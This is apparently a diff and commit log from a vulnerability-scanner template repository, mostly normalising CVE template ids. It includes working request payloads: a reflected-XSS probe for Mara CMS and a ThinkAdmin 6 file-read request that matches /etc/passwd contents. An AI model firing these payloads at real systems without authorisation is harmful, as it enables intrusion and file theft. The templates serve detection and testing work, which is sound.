  name: Artica Web Proxy 4.30 OS Command Injection
@@ -1,4 +1,4 @@
-id: CVE-2020-17506
+id: cve-2020-17506

 info:
  name: Artica Web Proxy 4.30 Authentication Bypass
@@ -1,4 +1,4 @@
-id: CVE-2020-2096
+id: cve-2020-2096

 info:
  name: Jenkins Gitlab Hook XSS
@@ -1,4 +1,4 @@
-id: CVE-2020-2140
+id: cve-2020-2140
 info:
  author: j3ssie/geraldino2
  name: Jenkin AuditTrailPlugin XSS
@@ -1,4 +1,4 @@
-id: CVE-2020-24223
+id: cve-2020-24223

 info:
  name: Mara CMS  7.5 - Reflective Cross-Site Scripting
@@ -10,7 +10,7 @@ info:
  # Source: https://www.exploit-db.com/exploits/48777

 requests:
-  - metod: GET
+  - method: GET
    path:
      - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
    matchers-condition: and
@@ -0,0 +1,23 @@
+id: cve-2020-25540
+info:
+
+  name: ThinkAdmin 6 - Arbitrarily File Read (CVE-2020-25540)
+  author: geeknik
+  severity: medium
+  description: ThinkAdmin v6 is affected by a directory traversal vulnerability. An unauthorized attacker can read arbitrarily file on a remote server via GET request encode parameter.
+
+  # Reference:- https://www.exploit-db.com/exploits/48812
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,4 +1,4 @@
-id: CVE-2020-3187
+id: cve-2020-3187

 # Reference: https://twitter.com/aboul3la/status/1286809567989575685

@@ -1,4 +1,4 @@
-id: CVE-2020-3452
+id: cve-2020-3452

 # Source: https://twitter.com/aboul3la/status/1286012324722155525

@@ -1,4 +1,4 @@
-id: CVE-2020-5284
+id: cve-2020-5284

 info:
  name: Next.js .next/ limited path traversal
@@ -1,4 +1,4 @@
-id: CVE-2020-5405
+id: cve-2020-5405

 info:
  name: Spring Cloud Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2020-5410
+id: cve-2020-5410

 info:
  name: Directory Traversal in Spring Cloud Config Server
@@ -1,4 +1,4 @@
-id: CVE-2020-5412
+id: cve-2020-5412

 info:
  name: Full-read SSRF in Spring Cloud Netflix (Hystrix Dashboard)
@@ -1,4 +1,4 @@
-id: CVE-2020-5776
+id: cve-2020-5776

 info:
  name: Cross Site Request Forgery (CSRF) in MAGMI (Magento Mass Importer) Plugin
@@ -1,4 +1,4 @@
-id: CVE-2020-5777
+id: cve-2020-5777

 info:
  name: "Remote Auth Bypass in MAGMI (Magento Mass Importer) Plugin <= v0.7.23"
@@ -1,4 +1,4 @@
-id: CVE-2020-5902
+id: cve-2020-5902

 info:
  name: F5 BIG-IP TMUI RCE
@@ -1,4 +1,4 @@
-id: CVE-2020-6287
+id: cve-2020-6287

 info:
  name: Create an Administrative User in SAP NetWeaver AS JAVA (LM Configuration Wizard)
@@ -1,4 +1,4 @@
-id: CVE-2020-7209
+id: cve-2020-7209

 info:
  name: LinuxKI Toolset 6.01 Remote Command Execution
Author	SHA1	Message	Date
bauthard	be2621c8c4	Update .nuclei-ignore	2020-09-27 15:42:48 +05:30
bauthard	0aee5a9715	remvoing cve-2017-7529 This can be precisely checked only when Nginx version is known, otherwise it will produce false positives results, as such removing this template for the time being.	2020-09-27 15:41:50 +05:30
bauthard	a2d60bbd1e	Removing cve-2020-13379	2020-09-27 13:59:33 +05:30
bauthard	0d7e3454ca	Merge pull request #488 from pdelteil/master apache tomcat version detecter	2020-09-27 13:56:14 +05:30
bauthard	212e6f37ef	Merge pull request #497 from iamthefrogy/patch-8 Create virtualems.yaml	2020-09-27 13:25:36 +05:30
bauthard	966afe7038	template update	2020-09-27 13:23:58 +05:30
bauthard	6045c00987	wordpress workflow update	2020-09-27 13:22:13 +05:30
bauthard	b16b1086b8	Merge pull request #499 from savushkin-yauheni/patch-1 missed CVE-2020-14179 in jira workflow	2020-09-27 13:18:29 +05:30
bauthard	5c60255e86	Merge pull request #498 from random-robbie/patch-9 Create wordpress-social-metrics-tracker.yaml	2020-09-27 13:15:47 +05:30
bauthard	debc3c846a	Update wordpress-social-metrics-tracker.yaml	2020-09-27 13:14:52 +05:30
bauthard	dae1c4af79	Update wordpress-social-metrics-tracker.yaml	2020-09-27 13:12:57 +05:30
bauthard	30463fc2da	Merge pull request #496 from iamthefrogy/patch-7 Create networkcamera.yaml	2020-09-27 12:57:31 +05:30
bauthard	f5b41a4ea9	updates	2020-09-27 12:53:12 +05:30
bauthard	01bf39d356	Merge pull request #495 from iamthefrogy/patch-6 ✅ Create GoAnywhereClientLogin template.	2020-09-27 12:49:30 +05:30
bauthard	e67c87cc55	template update	2020-09-27 12:48:44 +05:30
Zhenya Savushkin	ce7b2e8e5b	missed CVE-2020-14179 in jira workflow	2020-09-26 17:53:22 +03:00
Robbie	0a92a6acc4	Create wordpress-social-metrics-tracker.yaml	2020-09-26 09:20:15 +01:00
Chintan Gurjar	1d6d4e0324	Create virtualems.yaml Detects Virtual EMS login portals.	2020-09-26 19:42:26 +12:00
Chintan Gurjar	08704ff205	Create networkcamera.yaml This template is helpful to detect network cameras among a large range of IPs in your scope.	2020-09-26 19:40:38 +12:00
Chintan Gurjar	6423ceaaf8	✅ Create GoAnywhereClientLogin template. Identify login panel for goanywhereclient.	2020-09-26 19:36:28 +12:00
bauthard	64fcc97dbd	Merge pull request #493 from dwisiswant0/add/CVE-2017-11444 Add CVE-2017-11444	2020-09-26 11:06:55 +05:30
Dwi Siswanto	624bb0316a	🔥 Add CVE-2017-11444	2020-09-26 08:05:00 +07:00
bauthard	d89a96143b	Merge pull request #492 from bp0lr/master added CVE-2019-15107	2020-09-25 20:10:56 +05:30
bp0lr	0922fb623e	added CVE-2019-15107	2020-09-25 09:30:58 -03:00
bauthard	164075fb28	syntax update	2020-09-24 23:46:21 +05:30
bauthard	c89904cc14	Update CVE-2020-14179.yaml	2020-09-24 23:32:55 +05:30
Philippe Delteil	6b1ec31424	tomcat detected improved using groups	2020-09-24 01:34:05 +00:00
Philippe Delteil	b47fa0f130	apache version detector	2020-09-22 22:16:37 +00:00
Philippe Delteil	01d618c2e0	apache tomcat version detecter	2020-09-22 21:26:52 +00:00
bauthard	23e5970714	Merge pull request #486 from dwisiswant0/add/CVE-2018-17431 Add CVE-2018-17431	2020-09-22 21:36:51 +05:30
bauthard	748d7aef5f	Merge pull request #487 from x1mdev/cves/CVE-2020-14179 Added CVE-2020-14179	2020-09-22 21:34:21 +05:30
bauthard	ecc56a5140	matchers updates	2020-09-22 21:33:17 +05:30
x1m	76971fcea7	Added CVE-2020-14179	2020-09-22 17:44:12 +02:00
Dwi Siswanto	3740c58965	🔥 Add CVE-2018-17431	2020-09-22 21:41:13 +07:00
bauthard	7ad8b1de06	Merge pull request #484 from SMHTahsin33/patch-1 Update s3-subtakeover.yaml	2020-09-22 01:57:34 +05:30
Syed Mushfik Hasan Tahsin	6441736928	Update s3-subtakeover.yaml Typo : takeovee -> takeover Line : 4	2020-09-22 02:26:38 +06:00
bauthard	a98cd69282	Merge pull request #483 from SomeKirill/master Follow redirects on robots.txt	2020-09-21 23:34:41 +05:30
User	0f9cf57b79	Follow redirects	2020-09-21 20:46:29 +03:00
bauthard	9396e6058d	Update graphql.yaml	2020-09-21 19:31:20 +05:30
bauthard	dbfa0fca2d	severity updates	2020-09-20 18:27:43 +05:30
bauthard	faf6b488a5	matcher update	2020-09-18 20:28:38 +05:30
bauthard	8a08c4d657	Update README.md	2020-09-18 20:26:20 +05:30
bauthard	4247ec7dac	Merge pull request #478 from Ares-X/master Create shiro-detect.yaml	2020-09-17 22:17:02 +05:30
bauthard	00406c5683	Update shiro-detect.yaml	2020-09-17 22:15:58 +05:30
bauthard	8b26f20a86	Merge pull request #479 from random-robbie/patch-8 Create CVE-2019-6715.yaml	2020-09-17 22:12:57 +05:30
bauthard	730647b4cf	Update wordpress-workflow.yaml	2020-09-17 22:12:01 +05:30
bauthard	cd8699a104	Update CVE-2019-6715.yaml	2020-09-17 22:09:30 +05:30
Robbie	5657004705	Update CVE-2019-6715.yaml	2020-09-17 16:51:35 +01:00
Robbie	296e18768b	Create CVE-2019-6715.yaml	2020-09-17 15:59:14 +01:00
Ares-X	0530e7df4e	Create shiro-detect.yaml	2020-09-17 22:53:16 +08:00
bauthard	cdfcb96b6b	Merge pull request #477 from adamyordan/master Fix typo in cve-2019-14696.yaml and cve-2020-24223	2020-09-17 15:32:34 +05:30
Adam Jordan	5dc45f1fb1	Fix typo in cve-2019-14696.yaml and cve-2020-24223	2020-09-17 17:58:51 +08:00
bauthard	1f448e8a04	Merge pull request #450 from random-robbie/patch-6 Update kubernetes-pods.yaml	2020-09-17 14:23:16 +05:30
bauthard	23b3940a17	Update kubernetes-pods.yaml	2020-09-17 14:20:01 +05:30
bauthard	2febdea3ec	Merge pull request #476 from al3xdelarge/master Replace /etc/shadow by /etc/passwd	2020-09-17 14:04:13 +05:30
aron	ac0df32184	Fix malformed yaml	2020-09-17 10:30:45 +02:00
aron	7140ca2430	Fix malformed yaml	2020-09-17 10:24:16 +02:00
aron	3deec15ad1	Fix malformed yaml	2020-09-17 10:23:00 +02:00
aron	7d434171fc	Adapt matcher to passwd	2020-09-17 10:15:41 +02:00
aron	0f7b226f69	Replace shadow by passwd	2020-09-17 10:13:19 +02:00
bauthard	7734e39e6d	Update .nuclei-ignore	2020-09-17 10:23:10 +05:30
bauthard	bbab736896	Merge pull request #475 from geeknik/patch-7 Create CVE-2020-25540.yaml	2020-09-16 23:55:26 +05:30
bauthard	048ab54a98	Update CVE-2020-25540.yaml	2020-09-16 23:54:38 +05:30
Geeknik Labs	9ff599c333	Update CVE-2020-25540.yaml	2020-09-16 18:20:43 +00:00
Geeknik Labs	74a88ab411	Create CVE-2020-25540.yaml This is for testing against a Linux host as per https://www.exploit-db.com/exploits/48812. If someone else wants to update this to add the check for Windows, that would be swell.	2020-09-16 18:17:57 +00:00
bauthard	4d98fb599a	Merge pull request #474 from CasperGN/mida-framework-workflow Mida eframework workflow	2020-09-16 23:07:13 +05:30
bauthard	beed4568eb	Merge pull request #473 from CasperGN/fix-cve-2020-15920 Correcting endpoint to contain /PDC/ajaxreq.php?	2020-09-16 23:03:45 +05:30
Casper Guldbech Nielsen	1fe0a1d4b6	Linting Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-09-16 19:29:50 +02:00
Casper Guldbech Nielsen	031dc0cfab	Adding workflow to test for Mida eFramework and attempt cve-2020-15920 Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-09-16 19:26:31 +02:00
Casper Guldbech Nielsen	8f8a3074b7	Addition of detection of Mida eFramework - prep for workflow Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-09-16 19:25:53 +02:00
Casper Guldbech Nielsen	63c0a78fc8	Correcting endpoint to contain /PDC/ajaxreq.php? Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-09-16 19:02:49 +02:00
bauthard	9e17103c3c	Merge pull request #470 from random-robbie/patch-7 Create Symantec-Messaging-Gateway.yaml	2020-09-16 17:57:19 +05:30
bauthard	a33439106d	Update Symantec-Messaging-Gateway.yaml	2020-09-16 17:56:22 +05:30
Robbie	67bd041417	Create Symantec-Messaging-Gateway.yaml	2020-09-16 12:13:10 +01:00
bauthard	24a62c38af	Merge pull request #463 from DhiyaneshGeek/master Added Unauthenticated Jenkin Dashboard & SonarQube Login Detect	2020-09-16 13:32:16 +05:30
bauthard	3d38422a54	Merge pull request #329 from projectdiscovery/ntlm-directories-fix drafting ntlm-directories for fix	2020-09-16 13:13:00 +05:30
bauthard	4345851446	Merge pull request #464 from projectdiscovery/normalize-ids Normalized id fields to match schema regex	2020-09-16 13:05:49 +05:30
Ice3man543	ffef121561	Normalized id fields to match schema regex	2020-09-16 00:55:55 +05:30
Dhiyaneshwaran	8b486afff7	Add files via upload	2020-09-15 21:51:32 +05:30
Dhiyaneshwaran	9115bbe99f	Add files via upload	2020-09-15 21:50:17 +05:30
Dhiyaneshwaran	03e56195e5	Merge pull request #2 from projectdiscovery/master Updation	2020-09-15 21:49:29 +05:30
bauthard	e8ef3b5759	Merge pull request #461 from dwisiswant0/add/CVE-2020-15129 Add CVE-2020-15129	2020-09-15 19:45:59 +05:30
Dwi Siswanto	fa570b5560	✏️ Add reference	2020-09-15 00:40:03 +07:00
Dwi Siswanto	19f9e5842a	🔨 Update status matcher	2020-09-15 00:39:24 +07:00
Dwi Siswanto	e0f4437cdd	🔥 Add CVE-2020-15129	2020-09-15 00:31:40 +07:00
bauthard	b032080332	Merge pull request #460 from geeknik/patch-6 Update wordpress-accessible-wpconfig.yaml	2020-09-14 22:42:23 +05:30
Geeknik Labs	582d648823	Update wordpress-accessible-wpconfig.yaml Add status matcher	2020-09-14 16:39:39 +00:00
bauthard	7764171c8a	Merge pull request #459 from dwisiswant0/add/favicon-detection Add MobileIron	2020-09-14 20:21:19 +05:30
Dwi Siswanto	227205621e	🔨 Add MobileIron	2020-09-14 21:27:37 +07:00
bauthard	4dbb8317f2	Merge pull request #457 from dwisiswant0/add/CVE-2020-15505 Add CVE-2020-15505	2020-09-14 15:58:10 +05:30
bauthard	95fe6544d7	Merge pull request #458 from mohammedshine/patch-3 Update detect-all-takeovers.yaml	2020-09-14 15:54:14 +05:30
bauthard	7b278a27d4	Update detect-all-takeovers.yaml	2020-09-14 15:52:22 +05:30
bauthard	384f10dfbc	Merge pull request #454 from DhiyaneshGeek/master Larvel Debug Error Page , Unauthenticated Airflow Instance , Django Debug detect	2020-09-14 15:34:02 +05:30
bauthard	fb04b00c5c	some updates	2020-09-14 15:33:10 +05:30
mohammedshine	c8f3b22c74	Update detect-all-takeovers.yaml	2020-09-14 13:11:15 +05:30
Dwi Siswanto	f7d2851490	✏️ Add descriptions	2020-09-14 14:26:39 +07:00
Dwi Siswanto	66f1789690	⬇️ Delete payloads	2020-09-14 14:26:11 +07:00
Dwi Siswanto	4c29679877	✏️ Update name	2020-09-14 14:25:01 +07:00
Dwi Siswanto	31710ab936	📝 Add payload for CVE-2020-15505	2020-09-14 14:23:49 +07:00
Dwi Siswanto	5fb87d81a2	🔥 Add CVE-2020-15505	2020-09-14 14:23:20 +07:00
Dwi Siswanto	43036e7d9d	🔨 Update MobileIron login	2020-09-14 13:32:15 +07:00
Dhiyaneshwaran	af294ef859	Add files via upload	2020-09-13 22:55:10 +05:30
Dhiyaneshwaran	b941514aa3	Add files via upload	2020-09-13 22:27:11 +05:30
Dhiyaneshwaran	b3c77ec262	Add files via upload	2020-09-13 22:26:17 +05:30
Dhiyaneshwaran	5e33beb680	Merge pull request #1 from projectdiscovery/master Updating	2020-09-13 22:11:14 +05:30
bauthard	d0b47926dc	Merge pull request #453 from dwisiswant0/springboot/h2-db-rce Add Spring Boot H2 Database RCE	2020-09-13 21:33:14 +05:30
bauthard	ea6e89ae78	Merge pull request #452 from flag007/patch-3 Update open-redirect.yaml	2020-09-13 21:31:21 +05:30
bauthard	b65b79b1b4	Merge pull request #451 from joeldeleep/master Netscaler Gateway panel	2020-09-13 21:30:49 +05:30
Dwi Siswanto	98ce71c09c	🔨 Update Spring Boot Pwner workflows	2020-09-13 22:33:24 +07:00
Dwi Siswanto	9fbcc70b37	🔥 Add Spring Boot H2 Database RCE	2020-09-13 22:33:07 +07:00
Dwi Siswanto	af4071d0cd	✏️ Update matchers	2020-09-13 22:26:28 +07:00
flag007	0a49f1255e	Update open-redirect.yaml	2020-09-13 20:45:16 +08:00
joeldeleep	9ab73d6c5e	Update netscaler-gateway.yaml	2020-09-13 16:42:05 +05:30
joeldeleep	ff15fb8b17	Update netscaler-gateway.yaml	2020-09-13 16:39:42 +05:30
joeldeleep	3b191a665a	Rename Netscaler-Gateway.yaml to netscaler-gateway.yaml	2020-09-13 16:36:18 +05:30
joeldeleep	5516a7f356	Create Netscaler-Gateway.yaml	2020-09-13 16:35:46 +05:30
Robbie	8433bbc0ed	Update kubernetes-pods.yaml This is a RCE not just information disclosure!	2020-09-13 07:20:06 +01:00
bauthard	8c9f057e33	Merge pull request #446 from DhiyaneshGeek/master MobileIron Login Page Detection	2020-09-13 11:30:48 +05:30
bauthard	a34112ff21	Update mobileiron-login.yaml	2020-09-13 11:29:23 +05:30
bauthard	66988f4957	Update mobileiron-login.yaml	2020-09-13 11:27:17 +05:30
bauthard	d557a17f42	Merge pull request #447 from qlkwej/master Add Zenphoto Installation Sensitive Information	2020-09-13 10:28:19 +05:30
bauthard	4ea1e89c5d	updates	2020-09-13 10:12:21 +05:30
bauthard	50bd7d3254	Merge pull request #449 from toufik-airane/patch-1 Update zip-backup-files.yaml	2020-09-13 10:09:09 +05:30
bauthard	62574c1d05	Merge pull request #448 from CasperGN/master Improvement of matching for robots.txt -> only match when there is potentially juicy content	2020-09-13 09:49:20 +05:30
Casper Guldbech Nielsen	ecec5ce411	Increasing length of body requried to be matched Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-09-12 21:03:03 +02:00
Toufik Airane	fd71bf89cc	Update zip-backup-files.yaml Fix a yamlint error because of space.	2020-09-12 20:56:58 +02:00
Casper Guldbech Nielsen	79c47bfca1	Updated matcher to dsl to only match files that contains more than "Disallow: /" Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-09-12 20:13:00 +02:00
Dwiki Kusuma	131ce94a40	fix typo	2020-09-12 23:33:19 +08:00
Dwiki Kusuma	a24c28e403	- Template for Misconfiguration on Zenphoto version < 1.5.X which lead to sensitive information disclosure	2020-09-12 23:21:17 +08:00
Dhiyaneshwaran	ea8f2e8970	Add files via upload	2020-09-12 16:47:58 +05:30
bauthard	4eb31d06f7	Merge pull request #444 from pikpikcu/patch-23 Add rConfig 3.9.2 - Remote Code Execution	2020-09-11 20:36:52 +05:30
PikPikcU	118df25b44	Create CVE-2019-16662.yaml	2020-09-11 13:25:48 +00:00
bauthard	a1d9be6097	Update CVE-2018-16763.yaml	2020-09-11 16:20:03 +05:30
bauthard	75cbbf7547	Update ntlm-directories.yaml	2020-09-10 22:53:06 +05:30
bauthard	4774ca4a93	Update ntlm-directories.yaml	2020-09-10 21:13:37 +05:30
bauthard	6ee72be2f6	Update ntlm-directories.yaml	2020-09-09 19:32:13 +05:30
bauthard	deb25b0636	updating template	2020-09-09 17:00:30 +05:30
bauthard	32a0d5b638	drafting ntlm	2020-08-20 13:12:18 +05:30